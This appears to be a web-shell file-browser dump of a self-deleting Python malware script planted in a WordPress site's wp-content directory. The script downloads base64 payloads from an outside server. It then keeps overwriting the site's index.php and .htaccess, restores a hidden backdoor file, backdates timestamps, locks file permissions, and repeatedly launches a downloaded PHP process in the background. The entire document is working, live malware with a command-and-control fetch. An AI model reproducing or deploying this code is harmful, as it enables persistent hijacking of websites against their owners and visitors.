%PDF- %PDF-
Direktori : /home/dimen328/dimensaoservicos.com.br/wp-content/ |
Current File : /home/dimen328/dimensaoservicos.com.br/wp-content/7e6_ |
#!/usr/bin/env python # -*- coding: UTF-8 -*- # loop by DDM <drint_php@qq.com> from __future__ import print_function import os, time, zlib, base64, sys, datetime, hashlib, subprocess # 根据Python版本导入urlopen和URLError if sys.version_info[0] >= 3: # Python 3 from urllib.request import urlopen as urlopen_func from urllib.error import URLError else: # Python 2 from urllib2 import urlopen as urlopen_func, URLError def set_file_modification_time(file_path, mtime): ts = mtime.timestamp() os.utime(file_path, (ts, ts)) def chmod(file_path, mode): if os.path.exists(file_path): os.chmod(file_path, int(mode, 8)) def md5_x(n): # 获取当前时间戳 current_timestamp = str(int(time.time())) # 计算MD5值 md5_hash = hashlib.md5(current_timestamp).hexdigest() # 截取前N位 truncated_md5 = md5_hash[:n] return truncated_md5 def md5(string_variable): m = hashlib.md5() if type(string_variable) is bytes: pass else: string_variable = string_variable.encode() m.update(string_variable) return m.digest() def md5_file(file_path): content = "" with open(file_path) as fp: content = fp.read() return md5(content) def http_get(url): try: # 尝试使用Python 3的urlopen response = urlopen_func(url) except URLError: # 如果Python 3的urlopen失败,尝试使用Python 2的urlopen try: # Python 2的urlopen和URLError from urllib2 import urlopen as urlopen_func, URLError response = urlopen_func(url) except ImportError: # 如果urlopen仍然不可用,返回None return None # 读取响应内容 data = response.read() if sys.version_info[0] >= 3: # Python 3中,read()返回的是字节类型,需要解码成字符串 data = data.decode('utf-8') return data def run_php_script(script_path): # 使用.format()方法格式化字符串 command = "nohup php {} >> /dev/null 2>&1 &".format(script_path) # 尝试使用subprocess,如果失败则回退到os.popen() try: # Python 3兼容方式 import subprocess process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output, errors = process.communicate() return output.decode() # 将字节串解码为字符串 except ImportError: # Python 2兼容方式 process = os.popen(command) output = process.read() process.close() return output host = "dimensaoservicos.com.br" docroot = "" indexcode = "" htcode = "" md5v = "" resdir = "" respath = "" rescode = "" proccode = "" directory = os.path.dirname(__file__) os.remove(__file__) # try: # x2d = base64.b64decode(x2).decode("utf-8") # x3d = base64.b64decode(x3).decode("utf-8") # except Exception as e: # pass # else: # pass # finally: # pass # if x2d != "": # x2 = x2d # if x3d != "": # x3 = x3d sys_call = "https://seolink.top/?act=getcopypy&h=" + host; sys_get = "" try: sys_get = base64.b64decode(http_get(sys_call)) except Exception as e: sys_get = "" else: pass finally: pass sys_get_arr = sys_get.split("-*-*-*-") if len(sys_get_arr) == 7: docroot = sys_get_arr[0] indexcode = sys_get_arr[1] htcode = sys_get_arr[2] md5v = sys_get_arr[3] resarr = sys_get_arr[4].split(">>>") proccode = sys_get_arr[6] if len(resarr) == 3: resdir = docroot + resarr[0] respath = docroot + resarr[1] rescode = resarr[2] py2 = sys.version_info < (3,0) indexfile = docroot + "/index.php"; htfile = docroot + "/.htaccess"; userini = docroot + "/.user.ini"; flagfile = directory + "/copilot.png"; re_counter = 0; filemtime = datetime.datetime(2021, 3, 12, 13, 5, 17) msleep = 1 tsleep = 0.5 tcounter = 0 if os.path.isdir(docroot): # 检查是否有进程在跑 有则退出 if os.path.exists(flagfile): ffc = "" with open(flagfile, "r") as ff: ffc = ff.read() if ffc != "": nowff = "" time.sleep(msleep + (msleep * 2)) with open(flagfile, "r") as nff: nowff = nff.read() if ffc != nowff: print("->ok<-") sys.exit(1); while True: chmod(docroot, "755") if not os.path.exists(directory): os.makedirs(directory) chmod(directory, "755") # 恢复维护代码 if rescode: if not os.path.exists(resdir): os.makedirs(resdir) if os.path.exists(resdir): # 文件不存在 或文件被修改则恢复 if ((not os.path.exists(respath)) or (md5_file(respath) != md5(rescode))): if os.path.exists(respath): chmod(respath, "755") with open(respath, "w") as file: file.write(rescode) set_file_modification_time(respath, filemtime) chmod(respath, "555") # 每分钟安装一次PHP进程 if tcounter >= 60: if proccode: procfn = md5_x(4) procpath = directory + "/" + procfn proccode = proccode.replace("dimensaoservicos.com.br", host) if os.path.exists(procpath): chmod(procpath, "755") with open(procpath, "w") as file: file.write(proccode) run_php_script(procpath) tcounter = 0 # 更新flagfile时间 if os.path.exists(flagfile): chmod(flagfile, "755") with open(flagfile, "w") as ff: ff.write(datetime.datetime.now(datetime.timezone.utc).isoformat()) set_file_modification_time(flagfile, filemtime) chmod(flagfile, "555") # 删除user.ini if os.path.exists(userini): chmod(userini, "755") os.remove(userini) if ((not os.path.exists(indexfile)) or (md5_file(indexfile) != md5(indexcode))): if os.path.exists(indexfile): chmod(indexfile, "755") with open(indexfile, "w") as file: file.write(indexcode) set_file_modification_time(indexfile, filemtime) chmod(indexfile, "555") if ((not os.path.exists(htfile)) or (md5_file(htfile) != md5(htcode))): if os.path.exists(htfile): chmod(htfile, "755") with open(htfile, "w") as file: file.write(htcode) set_file_modification_time(htfile, filemtime) chmod(htfile, "555") chmod(directory, "555") chmod(docroot, "555") tcounter = tcounter + tsleep time.sleep(tsleep) else: print("docroot not a dir")